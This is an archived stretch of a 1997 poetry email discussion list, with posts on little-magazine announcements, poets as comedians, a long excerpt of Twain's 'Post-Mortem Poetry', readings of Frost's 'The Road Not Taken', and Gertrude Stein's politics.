"I recently asked the public relations guy at Heineken USA why Amstel Light's packaging had been changed so dramatically BEFORE any decisions had been made about the direction of the brand's marketing. 'You know how people like to look busy,' he replied. I relate that story for two reasons... The second reason is that it gives insight into WHY new marketers change everything; marketers feel the overwhelming need to criticize what has come before them, so they can make a name for themselves by spearheading some NEW direction.

This is because there seems to be less and less job longevity among marketers; the guy selling soda pop this year might be selling beer next year and feminine hygiene products the year after that. I suspect that the marketer of today is afraid to go to an interview for the next job and say, 'Well, I've spent the last few years as a caretaker for a brand image created before I arrived on the scene.'"

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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552. **Mark Wallace**

Situation #15

Thu 17 Jul 1997

Situation #15 is now available, featuring the work of Sherry Brennan, Mary Burger, Albert Cook, Joshua Harmon, Rachel Loden, John Lowther, Standard Schaefer, Dean Taciuch, and Joshua Taylor.

Situation is edited by Joanne Molina and Mark Wallace. Subscriptions are $10 for four issues, or $3 for single or back issues. Please write to Situation, 10402 Ewell Ave., Kensington, MD 20895, or contact me via e-mail.

Note: just a few complete sets of the first 15
issues of Situation remain available. Please contact this e-mail address
if you're interested in obtaining the set.

Thanks.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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553. Joel Felix
New LVNG Supplemental
Thu 17 Jul 1997

LVNG's third supplemental (to the magazine, which is free) is a lovely and affordable gem by one Marton Koppany, a Hungarian concrete poet. The title:

> "It is the Same"

Mr. Koppany has created a serial poem, which we here laboring in the belly of the LVNG industrial machine have produced in a pristine edition of postcards. The result produced many rounds of hearty back-clapping: is in not glorious the manner in which black ink appears on white stock?

Mr Koppany's "It is the Same" will not fail to produce a smile no matter how often it is flipped and read. I find myself thumbing thru it with the rapidity of a jaded 10 year-old snapping thru a pack of baseball cards looking for all-stars. Such rapidity with Mr Koppany's text may be said to evoke east-european animation of the soviet era. But that is a matter for the exegisists.

Marton Koppany
"It is the Same"
serial concrete poem on postcards, edition of 250
US $5

We are
LVNG PO Box 3865
Chicago IL 60654-0865

Others in the series still available:
No 1 Ronald Johnson
Blocks to be Arranged ina Pyramid"
Broadside, edition of 366
$10

No. 2 Joel and Catherine Felix
"a run thru the dictionary"
Artist's Box and text transparencies, liminted # still available
$15

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554. Christopher Alexander
senate poll re grad taxation
Thu 17 Jul 1997

L. just sent me a copy of this one. it looks as if the
senate plan is on the rocks, but please call anyway.

c'mon, when's the last time you talked to a u.s.
senator ['s assistant's assistant]. stand proud: it's
bureaucracy, er, I mean democracy in action. Chris

> *The Conference Committee is meeting this week to discuss reconciling the differences between the Senate and House versions of the tax bill, which, as currently passed by the House would result in taxation of graduate student tuitions.*
>
> *Senator William Roth of Delaware is conducting a telephone poll over the next few days to determine how much support exists in the country for the preservation of Section 117(d) of the tax code, which is the graduate student tuition tax waiver. Whether you are his constituent or not, please contact his office by phone ASAP to register your vote -- if we don't speak out now, later may be too late.*
>
> *Senator William Roth (DE) phone* [redacted]
> *fax* [redacted]

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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555. **p. durgin**
Re: influential writers/fiction/comedians/poet-comedians
Thu 17 Jul 1997

Why, Francois Villon makes the exemplary of either and both, no?

I[I]I [redacted] I[I]I

On Wed, 16 Jul 1997, william marsh wrote:

> *What poets do poets think would make excellent comedians?*

↑ Index

556. **George Bowering**
Re: influences in prose & comedy?
Thu 17 Jul 1997

> *At 08:57 AM 7/16/97 -0600, you wrote:*
> *George: that's unfair. Canucks have their comedians too:*
>
> *Isn't David Boswell's Reid Fleming - The Worlds Toughest Milkman - Canadian?*
>
> *Dan*

Well, he's really Vancouver.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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557. **Rachel Loden**
pre-guillotine lament
Thu 17 Jul 1997

Wish it hadn't become necessary to say this, but backchannels prove otherwise: NO, I don't agree with Michael Gold on Gertrude Stein; I would have thought this obvious. Stein's important to me, to the point of doing star-turns in my dreams (for decades). I DO think the piece is provocative and worth reading. Thanks to the few and the brave who've ventured a comment.

And NO, I am not a fan of Charles Bukowski! Good grief.

Being a tummler on this list is exhausting.

Rachel L.

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558. **David Israel**
Tate's laughter / Twain's humor
Thu 17 Jul 1997

[was:
Re: influential writers/fiction/comedians/poet-comedians]

I'd written,

> *What poets do poets think would make excellent comedians? . . .*
> *possibly James Tate (in an exceedingly deadpan manner)?*
> *likely Rod Smith (under some circumstances) . . .*

And Michael McGee remarked:

<< James Tate is the only poet I've ever heard read who laughed extensively (*extensively*, I mean like over & over) at the jokes in his poems. Surprisingly, it was kind of endearing. My favorite joke: the end of his poem "I Left My Couch in Tatamagouche": "I left my couch in Tatamagouche, / and that has made a big difference." >>

thanks for that -- maybe Tate-as-comic's not so deadpan after all (laughing uproariously at his own wit) . . .

as for "and that has made a big difference," -- I hear the original line ("and that has made all the difference") echoing in memory, but quite can't seem to place it. Can somebody help? (Robert Frost or something?) -- a "wisdom" poem as 'twere . . . ??

I saw Tate read in NYC (circa 90) -- he shared the bill (Academy of Am. Poets) with Michael Palmer.

Aboard subway after the reading, my late friend Lynne Beyer remarked she liked Tate's humor & wasn't as wild abt. Palmer's seriousness. (How would Palmer do as a comedian? Surely he could pull it off -- if he wanted . . .)

/ / / /

Mark Twain found mention in the humor thread. I just picked up a copy of *Mark Twain on Writing and Publishing* (remaindered, from Book of the Month Club, New York, imprint 1994) -- it includes an essay entitled "Post-Mortem Poetry." The latter is hereby reproduced (in large part) -- in interst of historical poetics or suchlike:

Mark Twain:
"Post Mortem Poetry"

IN Philadelphia they have a custom which it would be pleasant to see adopted throughout the land. It is that of appending to published death-notices a little verse or two of comforting poetry. Any one who is in the habit of reading the daily Philadelphia *Ledger* must frequently be touched by these plaintive tributes to extinguished worth. In Philadelphia, the departure of a child is a circumstance which is not more surely followed by a burial than by the accustomed solacing poesy in the *Public Ledger*. In that city death loses half its terror because the knowledge of its presence comes thus disguised in the sweet drapery of verse. For instance, in a late *Ledger* I find the following (I change the surname):

DIED

HAWKS.--On the 17th inst., Clara, the daughter of Ephraim and Laura Hawks, aged 21 months and 2 days.

That merry shout no more I hear
No laughing child I see,
No little arms are round my neck,
No feet upon my knee;

No kisses drop upon my cheek,
These lips are sealed to me.
Dear Lord, how could I give Clara up
To any but to Thee?

A child thus mourned could not die wholly discontented. From the *Ledger* of the same date I make the following extract, merely changing the surname, as before:

BECKET.--On Sunday morning, 19th inst., John P., infant son of George and John Becket, aged 1 year 6 months, and 15 days.

That merry shout no more I hear
No laughing child I see,
No little arms are round my neck,
No feet upon my knee;

No kisses drop upon my cheek,
These lips are sealed to me.
Dear Lord, how could I give Johnnie up
To any but to Thee?

The similarity of the emotions as produced in the mourners in these two instances is remarkably evidenced by the singular similarity of thought which they experienced, and the surprising coincidence of language used by them to give it expression. In the same journal, of the same date, I find the following (surname suppressed, as before):

WAGNER.--On the 10th inst., Ferguson G., the son of William L. and Martha Theresa Wagner, aged 4 weeks and 1 day.

That merry shout no more I hear
No laughing child I see,
No little arms are round my neck,
No feet upon my knee;

No kisses drop upon my cheek,
These lips are sealed to me.

Dear Lord, how could I give Ferguson up
To any but to Thee?

It is strange what power the reiteration of an essentially poetical thought has upon one's feelings. When we take up the *Ledger* and read the poetry about little Clara, we feel an unaccountable depression of the spirits. When we drift further down the column and read the poetry about little Johnnie, the depression of spirits acquires an added emphasis, and we experience tangible suffering. When we saunter along down the column further still and read the poetry about little Ferguson, the word torture but vaguely suggests the anguish that rends us. In the *Ledger* (same copy referred to above) I find the following (I alter surname, as usual):

WELCH.--on the 5th inst., Mary C. Welch, wife of William B. Welch, and daughter of Catherine and George W. Markland, in the 29th year of her age.

A mother dear, a mother kind,
Has gone and left us all behind:
Cease to weep for tears are vain,
Mother dear is out of pain.

Farewell, husband, children dear,
Serve thy God with filial fear,
And meet me in the land above,
Where all is peace, and joy, and love.

What could be sweeter than that? No collection of salient facts (without reduction to tabular form) could be more succinctly stated than is done in the first stanza by the surviving relatives, and no more concise and comprehensive program of farewells, post-mortuary general orders, etc., could be framed in any form than is done in verse by deceased in the last stanza. These things inestimably make us wiser and tenderer, and better. Another extract:

BALL.--On the morning of the 15th inst., Mary E., daughter of John and Sarah F. Ball.

'Tis sweet to rest in lively hope
That when my change shall come
Angels will hover round my bed,
To waft my spirit home.

The following is apparently the customary form for heads of families:

BURNS.--On the 20th inst., Michael Burns, aged 40 years.

Dearest father, thou has left us,
Here thy loss we deeply feel;

But 'tis God that has bereft us,
He can all our sorrows heal.

Funeral at 2 o'clock sharp.

There is something very simple and pleasant about the following, which, in Philadelphia, seems to be the usual form for consumptives of long standing. (It deplores four distint cases in the single copy of the *Ledger* which lies on the Memoranda editorial table):

BROMLEY.--On the 29th inst., of consumption, Phillip Bromley, in the 50th year of his age.

Affliction sore long time he bore,
Physicians were in vain --
Till God at last did hear him mourn,
And eased him of his pain.

The friend whom death from us has torn,
We did not think so soon to part;
An anxious care now sinks the thorn
Still deeper in our bleeding heart.

This beautiful creation loses nothing by repetition. On the contrary, the oftener one sees it in the *Ledger*, the more grand and awe-inspiring it seems. With one more extract I will close:

DOBLE.--On the 4th inst., Samuel Peveril Worthington Doble, aged 4 days.

Our little Sammy's gone,
His tiny spirit's fled;
Out little boy we loved so dear
Lies sleeping with the dead.

A tear within a father's eye,
A mother's aching heart,
Can only tell the agony
How hard it is to part.

Could anything be more plaintive than that, without requiring further concessions of grammar? Could anything be likely to do more toward reconciling the deceased to circumstances, and making him willing to go? Perhaps not. The power of song can hardly be estimated. There is an element about some poetry which is able to make even physical suffering and death cheerful things to contemplate and consummations to be desired. The element is present in the mortuary poetry of Philadelphia [in a high] degree of development. The custom I have been treating of is one that should be adopted in all the cities of this land.

/ / / / /

[the above is abt. 2/3 of Twain's rap, which is dated 1870.] Thanks, Rod Smith, for selling me the book.

d.i.

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559. **Steve Shoemaker**
Re: influences in prose & comedy?
Thu 17 Jul 1997

"Canucks have their comedians too"

I don't know if anyone's mentioned these yet, but i used to love SCTV, and then later Kids in the Hall--both wacky and not-at-all-boring Canadian troupes. steve

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560. **Steve Shoemaker**
Re: pre-guillotine lament
Thu 17 Jul 1997

"And NO, I am not a fan of Charles Bukowski! Good grief."

I'm not even sure when Bukowski came up, and i wldn't really call myself a fan--i get the sense he's probably published a lot more stuff than was absolutely necessary. BUT he's got a short story called something like "All the Assholes in the World and Mine" that is tremendous. steve

Steve Shoemaker

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561. **Alan J Sondheim**
ThEjPrIncEjofjthieves (fwd)
Thu 17 Jul 1997

--+-----+-

ThEjPrIncEjofjthieves

XeNajburbleSjaLl-gRowlyjonjthEjtEllyjbecause
ShejpushesjoutjthroUghjthEjboDyjOf
  ThEjPrIncEjofjthieves
WHojijamjtOjbejcerTain,jandjCertainly,jhAvIngjStOlen
ThEjIdea,jamongjoTherjthIngs,jFromjHEgEl,
OfjJennifer-julu,jnotjtOjmenTionjthEjDeSertiOn
OfjthEjCoNceptjofjclarajandjFrAnz,jhaVejijforgoTten
alljthOsejJeweLsjhiddeNjinjsMalljtOwnSjaCrOsSjAmerica,

ButjAnYwAy,jI'vejgoTjaplOmbj(sToLen!)
WithjAjcerTainjGracej(UnDerjFire)j(sToLen!)j(FromjProMethEus)
DOjYoUjhaVejaNyjIdeaj(hegeL)jwhatji'MjTaLkingjaBout!?!
No!jSuRely,jthenjijhaVejDonejThEjPErfEctjJob
JeweLsjfalljlIkEj(stolEnjkIngs!)jrEignjhERE:
ijbidjYoUjFoNdjAdIeU!!jj--jThEjPrIncEjofjthieves

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562. Ward Tietz
Re: What comes next?
Fri 18 Jul 1997

On Thursday, July 17, Mark Wallace wrote,

"...my own concerns in essays like "Towards A Free Multiplicity of Form" have perhaps been more polemical. I'm not in favor so much in some generalized diversity of forms ("any way you do it, that's okay with me!") as I have been calling for a CONSCIOUS exploration of multiple formal approaches, even in the case of a single writer. Not "acceptance of diversity" so much as "consciousness of the implications of choices of form" and an attempt to NOT settle for singular traditions or approaches. "Diversity" in poetry seems to me fine ONLY as long it contains awareness about the implications of form, and conscious attempts to find those forms which might reveal untapped potentials in given areas."

Mark,

It seems to me you're only really talking about multiplicities of "discursive" form here. Literary forms that are more presentational in character, hypertexts and other electronic forms, performance and sound poetry, visual poetry, etc. don't offer themselves up to consciousness in the ways you describe. If a "Free Multiplicity of Form" is the goal these forms would probably have to be considered too, unless of course some categorical reason were used to exclude them.

Ward Tietz

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563. henry gould
Re: What comes next?
Fri 18 Jul 1997

Just a couple of early-morning squibs attached to Mark Wallace's post.

re: the new - wasn't it Pound who wrote, Poetry is news that stays new? In this sense, as Mark said, E. Dickinson is "the new" or irreplaceable. This relates to something one of those german guys (Schelling? Adorno?) said: the modern is a relational term which has to do with what infiltrates our present concerns. I.e. the ancients still have "modern" impact in many ways - as well as remaining the antithetical "ancient".

Nothing will replace language poetry or exactly "come after" it. But the whole event of langpo has created sort of a model for counter-counter- poetics. & some of those counter-counters might counter language poetry on the level of a "poetics". This shouldn't detract from the value of any of it...(at least "in theory"...)

I don't like the "generational" approach that MW has repeatedly used, mainly cause I'm an old guy starting a young.po movement - if you want to join, see Jack Spandrift's website at www.deadend.wyo.edu (not really).

If you look at US poetry as a kind of closed, solipsistic system, langpo came along and disrupted the "echo effect" (the narcissus effect) of the stylized "dis-course" of mainstream semi-academicized poetry. But it did so by means of a different closed system - see Ron Silliman's startling equation of New Criticism & langpo in the Perelman conference thing (Impercipient) - equated except on the level of politics. Now seems to me the new crits & langpo together - along with people like Zukofsky - did invaluable service to poetry by concentrating on the MICROSTRUCTURE - the architecture on a micro level of syllable & word. But in a way, everything turns on mathematics - on the one & the many - on solipsism & reference - on the relation of word & thing. To me the langpos haven't gone FAR ENOUGH in the direction of the microstructure, and an inter-esting development in the future will be toward Saussure's ideas about ana-grams & paranomasia. Hart Crane was into this: "anagrammatize your Name", etc. Saussure found a pervasive subtext underneath a lot of classic latin poetry - the whole poem would be the scattered (Osiris) fragments of a thematic single WORD. Thematic - & referential. Build on it. The poem as architecture. Man-delstam again. & Yeats, too. heck yeah. - Henry Gould

p.s. another interesting thing about Saussure was that the anagrams were sets of phonemes. He wasn't interested in shuffling around written letters. a pho-neme-syllable was always a double-letter unity usually linked to a THIRD letter. Individual letters were irrelevant. It was the sound effect of the syllables he was listening to. See Starobinski's little book WORDS UPON WORDS about what Saussure was doing.

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564. Maria Damon
Re: tummlers
Fri 18 Jul 1997

At 6:04 PM -0500 7/16/97, Dave Zauhar wrote:
>Rachel Loden wrote of several great comic moments, including:
>
>> Mike Myers as Dieter, host of "Sprockets";
>>Rachel L.
>
>Perhaps the greatest skit in the history of poetry took place on this SNL
>setpiece: Dieter introduced "the Great American Poet of the Abyss, Jimmy
>Stewart." Dana Carvey came out and read some of those "my loyal dog" poems
>that the now-defunct Stewart read on the tonight show (sorry, I can't quote
>them from memory, and my copy is not at hand), and then explained to the
>rapt Dieter that "I wrote that poem while hitchhiking through South America
>with a 14 year old Mexican whore. One morning I woke up in a pool of my own
>sick and found out she robbed me. . ." Suggestions of a darker side to
>Jimmy Stewart's poetic persona.
>
>DZ

this sounds terrific; are the old SNLs available on video anywhere? and, i must say, the sight of kevin kline reading nietzsche in bed with a large automatic weapon, in A Fish Called Wanda,, as well as the "Springtime for Hitler" production number in The PRoducers (already mentioned by rloden) are priceless. i guess i get a big kick out of the lampooning of "high culture" (like the nebbishy accountant in The PRoducers being named Leo Bloom). also the line (paraphrased) from the producers: "are you a singing hitler or a dancing hitler? dancing hitlers in the next room!" or whatever.

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565. Daniel Bouchard
Re: humorists
Fri 18 Jul 1997

>>> Has anyone named Mark Twain yet? With a stance like that, he cd come back today & continue his deconstructions.<<<

"The Innocents Abroad" is without question the funniest book I have ever read. If nothing else, find the passage where Twain and his comrades attempt to eat lunch in a Turkish eatery. And "Roughing It" ranks high in the ha-ha category--his comments on the Book of Mormon made me laugh so hard that my eyes watered.

[redacted]

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566. **Maria Damon**
Re: pre-guillotine lament
Fri 18 Jul 1997

At 6:51 PM -0700 7/17/97, Rachel Loden wrote:
>Wish it hadn't become necessary to say this, but backchannels prove
>otherwise: NO, I don't agree with Michael Gold on Gertrude Stein; I
>would have thought this obvious.

it was; good grief, folks, can't you read?

Stein's important to me, to the point
>of doing star-turns in my dreams (for decades). I DO think the piece is
>provocative and worth reading.

thanks for sending it; i just had the opportunity to read passages from it at a little post-screening discussion of the film Paris Was a Woman, and guess what, a lot of those avant garde ladies really *were* politically naive, a point the movie's romanticization of the era completely evades. btw, the homophobic and misogynistic subtext of Gold's review is fascinating. I still hear stuff like this in my classes, just this past quarter a student claimed that when she read on the back cover of My Life that Lyn Hejinian had gone to Harvard, she realized 1)why she couldn't "understand" the book and b) why it wasn't worth understanding, as it was all a bunch of insider private stuff by rich people.

Thanks to the few and the brave who've
>ventured a comment.
>
>And NO, I am not a fan of Charles Bukowski! Good grief.
>
>Being a tummler on this list is exhausting.
>
>Rachel L.

hey rachel a signicant number of us adore you, but i admit i'm thinking of unsubbing due to diminishing returns over the last 6 months or so...

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567. **Maria Damon**
Re: stein and gold
Fri 18 Jul 1997

---

this is a helpful note; thanks. after much consideration, i think, in fact, that stein *was* politically naive, tho to my mind that doesn't mitigate her significance; in fact, i think that her sidestepping some of the crucial politics of her time enabled her to have certain insights about language and experience that may end up being more radical than the politically progressive thinkers of her time. in a way it makes her very interesting. i remember being similarly touched on reading that james brown supported nixon; when someone said, later, "that wasn't very smart,", he retorted, "I didn't do it to be smart."

At 5:24 AM -0700 7/17/97, Jill A Mccartney wrote:
>some related points to the gold piece:
>
>gold strikes a similar pose to the one struck by various artists and
>writers who published their rebuttals to stein's portrayal of them in the
>*Autobiography*. in a special supplement to *transition*, a little
>magazine which often published stein's work in the 1920s, stein and her
>*Autobiography of Alice B. Toklas* were the subject of derision,
>chastisement, correction, and ridicule. in one rant, the author (i can't
>remember who) accused her of never really knowing what the
>artistic/social/political ferment around her was really about it. the
>general feeling expressed was that stein had unfairly profited from her
>association with them.
>
>gold's accusations that stein is a "literary idiot" by the exploitation of
>a so-called "primitive" or childlike language echoes, oddly enough, ts
>eliot's review (among others) of stein's work.
>
>what's also interesting about gold's presentation of stein is that he's
>the only one i've ever encountered who claimed that stein was an
>"excellent medical student" or "a brilliant psychologist." a look at her
>transcripts shows that she struggled after her first year in med school,
>and the record of her career as a "psychologist" is, i believe, best shown
>in the literary works gold eschews. michael magee is right to note the
>petulance of gold's complaint that her literary work falls short of the
>promise that her scientific start hinted at.
>
>despite my general disagreement with much of gold's article, i do think
>he's on to something in terms of noting what is often missing in much
>stein criticism. to focus exclusively on the linguistic play of stein's

>writing is, i think, to make of her work a bourgeois parlor game. (jeremy
>green has written of needing to recover the dialectic of her writing.)
>
>jill mccartney

↑ Index

568. **Michael Magee**
Re: Tate's laughter / Twain's humor
Fri 18 Jul 1997

---

from David: "as for "and that has made a big difference," -- I hear the original line ("and that has made all the difference") echoing in memory, but quite can't seem to place it. Can somebody help? (Robert Frost or something?) -- a "wisdom" poem as 'twere . . . ??"

It's playing off of Frost's "A Road Not Taken." "I took the road less traveled by / And that has made all the difference." I actually like Frost quite a bit but this is one of his worst, a too-simple homage to going your own way, made worse by the fact that its become greeting card fodder. I'm sure it's been lampooned before but something about the way Tate does it - I mean, the word "big," just hilarious. -m.

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569. **henry g**
Re: humorists
Fri 18 Jul 1997

Mark Twain said something like this :

All general statements aren't worth beans - including this one.

- J.L.Spandrift

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570. **Pritchett,Pat**
Re: poem sighting
Fri 18 Jul 1997

Just wanted to call the List's attention to a _marvelous_ poem by Rachel Loden in the latest Antioch Review. Brava, Rachel!

↑ Index

571. **GrahamD**
Re: Frost
Fri 18 Jul 1997

I'm surprised to hear Frost's "Road Not Taken" described as "a too-simple homage to going your own way." In my reading everything in the poem, from the title's negative to the deliberate ambiguity of "all the difference" (good? bad? bit of both?) works against seeing in it any such simple homage. Also check out the verb tenses: speaker's ringing declaration of nonconformity, if that's what it is, is projected into the future. In the present tense of the poem, he admits that both roads look about the same.

The biography tells us that Frost wrote the poem as a satiric jab at his friend Edward Thomas, who could never make a decision.

This poem is persistently misread, I believe, through the lens of Frost's folksy public persona. Frost wrote many truly bad poems, I'd say, but this isn't one of them.

David Graham
[redacted]

From: UB Poetics discussion group on Fri, Jul 18, 1997 9:00 AM
Subject: Re: Tate's laughter / Twain's humor
To: [redacted]

It's playing off of Frost's "A Road Not Taken." "I took the road less traveled by / And that has made all the difference." I actually like Frost quite a bit but this is one of his worst, a too-simple homage to going your own way, made worse by the fact that its become greeting card fodder. I'm sure it's been lampooned before but something about the way Tate does it - I mean, the word "big," just hilarious. -m.

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572. **Eliza McGrand- CVA Guest**
twain -- first deconstructionist?
Fri 18 Jul 1997

---

does anyone remember twain's peice on james fennimore cooper? twain takes apart, bit by bit, the feats of derring do and forest cunning in the natty bumpo/ leatherstocking series, as well as anything cooper writes having to do with rivers. bit by bit, the innaccuracies pile up, the hyperbole, the exagerations, till i was laughing out loud.

but after that, i was never able to read j.f. cooper with the attention and suspension of disbelief necessary (for me anyway) to really disappear into the book...

now, twain on the old masters ... fortunately, i had been looking at old paintings before i read twain, not that i didn't enjoy it every bit as much. and twain on the infamous "chamois" of switzerland (which he translates as "flea," leading to all kinds of speculation on the nature of chamois gloves, bags, etc.) as well as the wild "chamois" exchange at the opera!!! now THAT is a sendup of high culture!

the delightful obituary poem send up excerpted (thanks david i!) ws so typical of twain -- in its vein does anyone remember his series of stories (which seem slightly autiobiographical) on the young married couple -- whose baby is sick, and who weather a thunderstorm?

i was given a complete set of twain when i was nine or so, after i'd been borrowing the books from the neighbors for months (they were moving). my mother got rid of all of my books (w/o forewarning or permission) and i still have dreams of that wall of mark twain books waiting to be cracked. speaking of sci fi, philip jose farmer, in his riverworld series, reset twain into a future "experimental" world where all of humanity has been resurrected. i'm not sure i'm crazy about the series, but it was an interesting interpretation of twain.

how do you all feel about writers who take on the task of "extending" the series of another writer? has anyone read the sequel to "gone with the wind"? and there is, of course, jean rhys' _Wide Sargasso Sea_ meant to extend bronte's _Jane Eyre_. there have been a couple of others on jane eyre, and on bronte books...

i've generally found sequels unreadable, with the exception of sargasso, which is problematic in its own way (rhys is an extraordinary writer, but i can only take so much of her bleakness and painful vision before i am about ready to lie down under a truck). one feels, painfully, the differences in skill between the original and the copy. i think, as technical point, that perhaps when one subdues one's own internal writing rhythms and clocks for that long to another person's the muting flattens the prose and breaks it down. parodies work (as we know from our resident parodists, but then, bromige is everyone, bromige is all-scrivent, so he doesn't really count) perhaps as a sort of pentimento? one sees the original, and the parody at the same time? but more extended serious endeavors, where one writer tries to disappear into another, don't seem to come off usually. maybe sargasso works because rhys writes AS rhys, with her own rhythms and viewpoints.

the first continuation of nancy drew worked i thought, but the later carolyn keene imitators began slipping into a sort of computer simulation. i picked up one of the latest ones, adn it reminded me of barbara cartland books, where characters are given slightly different physical characteristics, times and scenarios are switched, but the basic dance remains the same. they say she has a master-plot/book on disk, and just plugs in slightly different details...

e

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573. STACIE ELYSE SLOTNICK
poetry/comedy/tv
Fri 18 Jul 1997

Has anyone ever seen the episode of the Young Ones where Rick (Rik Mayall) proclaims himself the People's Poet? Acutally, throughout many of the episodes are funny little poem-bits (like the poem he wrote for their house when it was about to be demolished: House/House, oh you're made of stone/but you're not a lone/ ly house). They used to show the Young ONes on MTV really late at night, but I've not been able to find it anywhere since I was in high school.

Stacie S.

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574. dbkk
Re: New LVNG Supplemental
Fri 18 Jul 1997

It's Kevin Killian. Haven't seen the third supplemental to LVNG but would recommend to all the previous ones . . .

> *We are*
> *LVNG PO Box 3865*
> *Chicago IL 60654-0865*
>
> *Others in the series still available:*
> *No 1 Ronald Johnson*
> *Blocks to be Arranged ina Pyramid"*
> *Broadside, edition of 366*
> *$10*
>
> *No. 2 Joel and Catherine Felix*
> *"a run thru the dictionary"*
> *Artist's Box and text transparencies, liminted # still available*
> *$15*

Johnson's AIDS memorial is a grand project and the equal to any of the work in his ARK book. Joel Felix, your book is terrific and unbelievably cheap and you are too modest, you should be flaunting this book across the sky in letters that would soar a thousand feet high. List members (esp. those among you interested in extending text through and into the apparatchik of visual art) follow my lead and order these items right away! If I had one hour on QVC these are the first items I'd be hawking. In the corner of the screen, as I kept droning on,

cooing and billing, the edition numbers would diminish till finally I could announce, "Sold Out! . . . let's move on to Diamonique Hour just ahead." Hope these allusions aren't lost to you in other lands where perhaps TV doesn't carry the Home Shopping Network, back channel me for details.

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575. **Shaunanne Tangney**

Re: Tate's laughter / Twain's humor

Fri 18 Jul 1997

On Thu, 17 Jul 1997, David Israel wrote:

> *[was:*
> *Re: influential writers/fiction/comedians/poet-comedians]*
>
> *I'd written,*
>
> *What poets do poets think would make excellent comedians? . . .*
> *possibly James Tate (in an exceedingly deadpan manner)?*
> *likely Rod Smith (under some circumstances) . . .*
>
> *And Michael McGee remarked:*
>
> *<< James Tate is the only poet I've ever heard read who laughed extensively (*extensively*, I mean like over & over) at the jokes in his poems. Surprisingly, it was kind of endearing. My favorite joke: the end of his poem "I Left My Couch in Tatamagouche": "I left my couch in Tatamagouche, / and that has made a big difference." >>*
>
> *thanks for that -- maybe Tate-as-comic's not so deadpan after all (laughing uproariously at his own wit) . . .*

oh, hey, yes--i studied w/ tate as an undergrad at UMASS and he was wickedly funny in class--and just plain wicked, i might add! he was always dropping in these little tit-bits about affairs and acid trips and the like that would just bring the class to a giggling halt! tate's an odd duck, that's for sure, but in the end it was always a joy to be around him; i look back on that semester w/ great fondness...

shaunanne tangney

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576. **Maria Damon**
Re: Tate's laughter / Twain's humor
Fri 18 Jul 1997

At 9:56 AM -0400 7/18/97, Michael Magee wrote:
>from David: "as for "and that has made a big difference," -- I hear the
>original line ("and
>that has made all the difference") echoing in memory, but quite can't seem
>to place it. Can somebody help? (Robert Frost or something?) -- a
>"wisdom" poem as 'twere . . . ??"
>
>It's playing off of Frost's "A Road Not Taken."
>"I took the road less traveled by / And that has made all the difference."
>I actually like Frost quite a bit but this is one of his worst, a
>too-simple homage to going your own way, made worse by the fact that its
>become greeting card fodder. I'm sure it's been lampooned before but
>something about the way Tate does it - I mean, the word "big," just
>hilarious. -m.

actually, this used to be one of my favorite "let's make fun of frost" poems, until i reread it and realized that what it says is: two roads were exactly the same, i don't know why i picked one over the other, but in the future, when i tell the story, i'll *say* that it was because one was less traveled by, and that has made all the difference. that makes the poem quite a bit more interesting --it's about narrative and self-aggrandizement, and the retroactive assignation of meaning to a random act.

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577. **David R. Israel**
Re: humorists / categorists
Fri 18 Jul 1997

> *Mark Twain said something like this :*
>
> *All general statements aren't worth beans - including this one.*
>
> *- J.L.Spandrift*

An old friend, Ludwig Dimpfl (r.i.p.), said something like this:

There are two kinds of people in this world:
Those who divide the world into two kinds of people
and those who don't.

Yo Bob G.:
This could suggest a poetics typology correlary:

(a) the school of poets comprised of those who view poetic practice in terms of schools, (b) the school of poets . . .

d.i.

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578. **GrahamD**
Re: humorists / categorists
Fri 18 Jul 1997

This quote is from Robert Benchley: "There are two kinds of people in this world: Those who divide the world into two kinds of people and those who don't." He was also the author of the immortal line: there are two kinds of travel, first class and with children.

Sadly, Benchley's been pretty much forgotten, except for Woody Allen, who in his written pieces poaches from him liberally.

David Graham
[redacted]

<<<<<<<<An old friend, Ludwig Dimpfl (r.i.p.), said something like this:

> There are two kinds of people in this world:
> Those who divide the world into two kinds of people
> and those who don't.<<<<<<<<<<<<<<

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579. **Christopher Alexander**
(Fwd) anxiety of influence/news from old eire (from new york)
Fri 18 Jul 1997

---

urgh. I've been absent from the list for so long
due to insufferable network problems, & now
it takes a great deal of effort to re-involve myself
in the discussion. not that you're not interesting
& all, but I feel like the late-comer at a cocktail
party ["bromige & seltzer, please"].

alright, lists are easier that talking. artists that make
me "stop my grinnin' & grab my linen", as a college
roommate used to say (don't ask me what it meant—
I'm sure it was something impolite):

the short haul (recently read/whatever):
Hannah Wiener's The Fast (United Artists Books)

Kevin Killian's Santa (Leave Books) ["hi, Kevin"]
Jordan Davis' Upstairs (Barque)
& Little Golden Book (Little Golden Books)
Keston Sutherland's Hate's Clitoris (Barque)
Andrea Brady's Of Sere Fold (Barque)
Peter Ganick's Immigrant Status (??!—um, forget what press)
Michael Gizzi's Species of Intoxication (Burning Deck)
The Big Sleep (1945 restored)
Ran
some Robert Johnson, Black Sabbath, John Coltrane
JavaScript: the Definitive Guide
lots of Spicer as usual

the long haul: Blake (reprints of the illuminated manuscripts), Spicer, Bruce Andrews, Derek Jarman (of The Last of England & The Garden), Brecht, Deleuze & Guattari, Alfred Jarry (or maybe below?), Robt. Duncan, Creeley, Dali, H.P. Lovecraft, Sterne... blah blah blah certain restaurant critics

comedians:
have to admit, I'm with Matthias & Alan on this count, &
besides, all my favorites have been recounted already. for what
it's worth, Firesign Theater & Lenny Bruce rate very high, also
of course the Marx Bros., Keaton, Chaplin. oh, & "Car Talk".
ever notice how "language-y" that title sounds? so physical, like
something out of Peter Ganick's work:
"toyota cabriolet / the emotion drifts away".

22", 48", 22" & my one wish is to save the earth from gamma rays.

~~~~~~~~~~~~~~~~~~~~~~~

recently discovered: The Irish People
online (no jokes, please). so far as I'm
aware, this is the only U.S.-published
nationalist paper available. I'm finding
the dual focus on events in the dis-U.K.
& their reflection on the american political
front very useful. recent updates on Roisin
McAliskey, other, less recent news:

http://larkspirit.com/IrishPeople/

makes very good companion reading to
An Phoblacht:

http://www.irlnet.com/aprn/current/news/index.html
